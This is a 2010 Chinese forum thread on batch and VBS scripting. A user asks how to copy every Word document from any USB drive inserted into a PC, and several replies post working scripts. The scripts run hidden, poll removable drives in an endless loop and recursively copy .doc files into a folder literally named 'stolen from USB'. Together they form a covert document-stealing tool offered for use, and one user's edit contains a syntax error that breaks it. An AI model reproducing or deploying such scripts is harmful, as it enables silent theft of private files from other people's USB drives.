批处理能否自动提取优盘上的word文档？

water0 · 发表于 2010-12-25 14:19:50

1假设优盘的盘符是G
2优盘一旦插进去自动将里面的所有word文档复制到一个文件夹里面
3没有优盘插进去时什么也不做

water0 · 发表于 2010-12-25 14:21:38

这个好难啊。
不过给你弄了两个东东，不知道有么有用。

Set shell = Wscript.createobject("wscript.shell")
a = shell.run ("自动复制u盘东东.bat",0)

上面这个东西用记事本保存为 .vbs 格式的，取个名字叫“隐藏运行.vbs”吧，它可以让下面这个叫“自动复制u盘东东”的批处理文件隐藏运行。

@echo off
setlocal enabledelayedexpansion
for %%a in (c d e f g h i j k l m n o p q r s t u v w x y z) do (
for /f %%h in ('fsutil fsinfo drivetype %%a:^|findstr "Removable.* 可移动"') do (
set DriveU=%%h
)
)
echo.!DriveU!
md E:\u盘那偷来的
if exist !DriveU! copy !DriveU!\*.doc E:\u盘那偷来的>nul 2>nul
ping 127.1 -n 20 >nul
start 隐藏运行.vbs
exit

这个东东了就保存为 .bat取个名字叫“自动复制u盘东东.bat” 就可以，它会自动查找u盘并且每20十秒就会搜索一遍u盘，复制以后是存在E盘的u盘那偷来的文件夹里面。

这两个东西结合起来应该可以解决问题。不过有个缺陷，已经复制过的doc文件它还会再复制。如果你能改进一下的话就好了，能的话告诉我一声哈。

这个是高手给的答案，但不能复制子文件夹里word文档，谁能够帮忙改一下

hanyeguxing · 发表于 2010-12-25 17:46:03

@echo off
start "" "隐藏运行.vbs"
set "n=E:\u盘那偷来的"
md "%n%" 2>nul
:a
for /f "skip=1" %%a in ('wmic logicaldisk where DriveType^=2 get DeviceID') do call:b %%a
>nul ping 127.1 -n 20
goto:a
:b
for /r "%1" %%a in (*.doc) do if not exist "%n%\%%~nxa" copy "%%a" "%n%">nul

复制代码

[ 本帖最后由 hanyeguxing 于 2010-12-26 14:42 编辑 ]

water0 · 发表于 2010-12-26 14:13:09

运行一下不行啊............

hanyeguxing · 发表于 2010-12-26 15:03:34

cmd中运行一下 wmic logicaldisk where DriveType=2 get DeviceID 看能不能看到u盘盘符，然后再运行一次批处理

water0 · 发表于 2010-12-27 12:46:14

你确定上述代码可以吗，我在我电脑上怎么显示应用程序错误，不得不关机

ithinkican · 发表于 2010-12-27 14:24:07

建议去掉代码中ping后面的部分
也就是ping……到exit

broly · 发表于 2010-12-27 17:06:21

LZ要求在一种监控状态，一有U盘插入就有反应？用批处理或者VBS，这样是很耗用CPU的。

broly · 发表于 2010-12-27 18:20:12

下面这个是运行一次的代码

'//VBS复制U盘Doc文件 @CODE BY Broly
'//声明：此VBS由Broly制作,代码仅作学习研究之用。使用前请三思而行，产生不良后果均与本人无关！
Const DocPath="D:\DocPath" '此处为你放DOC文件的文件夹，运行前请创建好
Dim fso,Disks
Set fso = CreateObject("Scripting.FileSystemObject")
Set Disks = fso.Drives
For Each Disk In Disks
If Disk.IsReady And Disk.DriveType = 1 Then
Udisk=Disk.DriveLetter & ":"
U=True
End if
Next
If U=True Then
CopyDocs(Udisk)
Else
Msgbox "没有发现U盘或者U盘没有插好!",vbOkOnly,"提示"
WScript.Quit
End If
WScript.Quit
Sub CopyDocs(path)
Dim folder,subfolders,Files
Set folder = fso.getfolder(path)
Set subfolders = folder.subfolders
Set Files = folder.Files
For Each File In Files
If fso.GetExtensionName(File.path)="doc" Then
fso.CopyFile File.Path,DocPath,True '设置为True，表示如果文件存在则覆盖
End if
Next
For Each subfolder In subfolders
CopyDocs(subfolder.path) '递归查找子目录
Next
End Sub

复制代码

下面这个是无限循环的代码（即监控状态）。

'//VBS复制U盘Doc文件 @CODE BY Broly
'//声明：此VBS由Broly制作,代码仅作学习研究之用。使用前请三思而行，产生不良后果均与本人无关！
Const DocPath="D:\DocPath" '此处为你放DOC文件的文件夹，运行前请创建好
Dim fso,Disks
Set fso = CreateObject("Scripting.FileSystemObject")
Do
Set Disks = fso.Drives
For Each Disk In Disks
If Disk.IsReady And Disk.DriveType = 1 Then
Udisk=Disk.DriveLetter & ":"
U=True
End if
Next
If U=True Then
CopyDocs(Udisk)
Else
Msgbox "没有发现U盘或者U盘没有插好!",vbOkOnly,"提示"
End If
WScript.Sleep 30000 '每30秒循环一次
Loop
Sub CopyDocs(path)
Dim folder,subfolders,Files
Set folder = fso.getfolder(path)
Set subfolders = folder.subfolders
Set Files = folder.Files
For Each File In Files
If fso.GetExtensionName(File.path)="doc" Then
fso.CopyFile File.Path,DocPath,True '设置为True，表示如果文件存在则覆盖
End if
Next
For Each subfolder In subfolders
CopyDocs(subfolder.path) '递归查找子目录
Next
End Sub

复制代码

water0 · 发表于 2010-12-28 13:43:45

你试过吗，怎么在我的电脑上不行啊

broly · 发表于 2010-12-28 17:34:45

试过，可以。怎么不行了？
你用哪一个代码？

water0 · 发表于 2010-12-28 18:44:54

第二个代码后缀名是vbs时
后缀名bat时没反应

water0 · 发表于 2010-12-28 18:51:42

代码我改成这样

'//VBS复制U盘Doc文件 @CODE BY Broly
'//声明：此VBS由Broly制作,代码仅作学习研究之用。使用前请三思而行，产生不良后果均与本人无关！
Const DocPath="D:\DocPath"1'此处为你放DOC文件的文件夹，运行前请创建好
Dim fso,Disks
Set fso = CreateObject("Scripting.FileSystemObject")
Do
Set Disks = fso.Drives
For Each Disk In Disks
If Disk.IsReady And Disk.DriveType = 1 Then
Udisk=Disk.DriveLetter & ":"
U=True
End if
Next
If U=True Then
CopyDocs(Udisk)
Else
Msgbox "没有发现U盘或者U盘没有插好!",vbOkOnly,"提示"
End If
WScript.Sleep 30000 '每30秒循环一次
Loop
Sub CopyDocs(path)
Dim folder,subfolders,Files
Set folder = fso.getfolder(path)
Set subfolders = folder.subfolders
Set Files = folder.Files
For Each File In Files
If fso.GetExtensionName(File.path)="doc" Then
fso.CopyFile File.Path,DocPath,True '设置为True，表示如果文件存在则覆盖
End if
Next
For Each subfolder In subfolders
CopyDocs(subfolder.path) '递归查找子目录
Next
End Sub

复制代码

broly · 发表于 2010-12-28 20:08:45

怪不得你运行错误

Const DocPath="D:\DocPath"1'此处为你放DOC文件的文件夹，运行前请创建好

复制代码

“1”是什么来的？
我的意思是把

D:\DocPath\

复制代码

这个改为你要保存的路径
比如你要保存在文件夹 d:\123\ 下面
那么这一句就是

Const DocPath="D:\123" '此处为你放DOC文件的文件夹，运行前请创建好

复制代码

wuhengsi · 发表于 2010-12-29 00:47:52

很简单嘛何必这么复杂。。。。

		自动登录	找回密码
密码			注册

[新手上路]批处理新手入门导读	[视频教程]批处理基础视频教程	[视频教程]VBS基础视频教程	[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动	[批处理精品]CMD命令50条不能说的秘密	[在线下载]第三方命令行工具	[在线帮助]VBScript / JScript 在线参考

[系统相关] 批处理能否自动提取优盘上的word文档？

评分

没必要搞那么复杂,毕竟盘不是频繁的换

回复 1楼的帖子

回复 10楼的帖子

回复 13楼的帖子

浏览过的版块

[系统相关] 批处理能否自动提取优盘上的word文档？

评分

没必要搞那么复杂,毕竟盘不是频繁的换

回复 1楼 的帖子

回复 10楼 的帖子

回复 13楼 的帖子

浏览过的版块

回复 1楼的帖子

回复 10楼的帖子

回复 13楼的帖子